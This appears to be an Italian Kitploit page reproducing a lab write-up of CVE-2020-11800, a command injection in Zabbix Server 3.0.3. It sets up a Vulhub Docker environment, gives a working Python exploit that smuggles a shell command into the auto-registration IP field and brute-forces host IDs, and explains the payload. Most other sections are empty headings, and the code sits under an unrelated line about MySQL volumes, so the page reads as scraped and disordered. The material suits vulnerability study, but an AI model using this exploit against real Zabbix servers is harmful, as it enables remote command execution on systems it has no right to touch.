CVE-2020-11800 — Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host. | Kitploit

Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Obbligatorio)”.

1. Ambiente (Obbligatorio)

Dockerfile (Obbligatorio)

Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine vulnerabile di Zabbix Server fornita da Vulhub.

FROM vulhub/zabbix:3.0.3-server

Il Dockerfile crea un'immagine locale utilizzando l'ambiente vulnerabile di Zabbix 3.0.3 server. Non sono stati aggiunti pacchetti o configurazioni aggiuntive durante il processo di build.

docker-compose.yml (Obbligatorio)

L'ambiente vulnerabile è configurato utilizzando Docker Compose.

L'ambiente è composto da quattro servizi:

Zabbix Server
Zabbix Agent
Zabbix Web Interface
MySQL Database

Il servizio server viene creato localmente utilizzando il Dockerfile:

server:
  build: .
  image: cve-2020-11800-server

Il container MySQL importa automaticamente i file di inizializzazione SQL dalla directory src/ tramite il montaggio dei volumi:

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Parte	Scopo
`ffff:::`	Prefisso simile a IPv6 usato per il bypass della validazione
`;`	Separatore di comandi della shell
`touch /tmp/success2`	Comando arbitrario eseguito sul server

Parametro	Descrizione
`request`	Richiede l'esecuzione dello script
`scriptid`	ID dello script Zabbix configurato
`hostid`	ID dell'host target

CVE-2020-11800

Più Popolari

Architettura dei servizi (Obbligatorio)

Zabbix Web

Zabbix Server

Zabbix Agent

MySQL

Immagini e versioni (Obbligatorio)

2. Causa principale (Obbligatorio)

Descrizione della vulnerabilità (Obbligatorio)

Analisi della causa principale (Obbligatorio)

Bypass della patch tramite IPv6

Processo di attivazione della vulnerabilità (Obbligatorio)

Flusso dell'attacco e impatto (Obbligatorio)

3. PoC (Obbligatorio)

Panoramica del PoC (Obbligatorio)

Codice del PoC

Analisi del payload (Obbligatorio)

Struttura del payload

Scopo

Processo di esecuzione del codice del PoC (Obbligatorio)

Richiesta di auto-registrazione

Brute force dell'ID host

Richiesta di esecuzione dello script

Parametri

Attivazione della vulnerabilità

Output previsto

4. Riproduzione (Obbligatorio)

Processo di esecuzione del PoC e dello exploit (Obbligatorio)

Passaggi effettivi di esecuzione dello exploit (Obbligatorio)

Configurazione dell'ambiente

Accesso all'interfaccia web

Abilitazione dell'auto-registrazione

Esecuzione dello exploit

Analisi dei risultati (Obbligatorio)

Output di esempio

Verifica dell'esecuzione dei comandi

Screenshot (Obbligatorio)

Servizio	Immagine	Versione
Zabbix Server	vulhub/zabbix	3.0.3-server
Zabbix Web	vulhub/zabbix	3.0.3-web
MySQL	mysql	5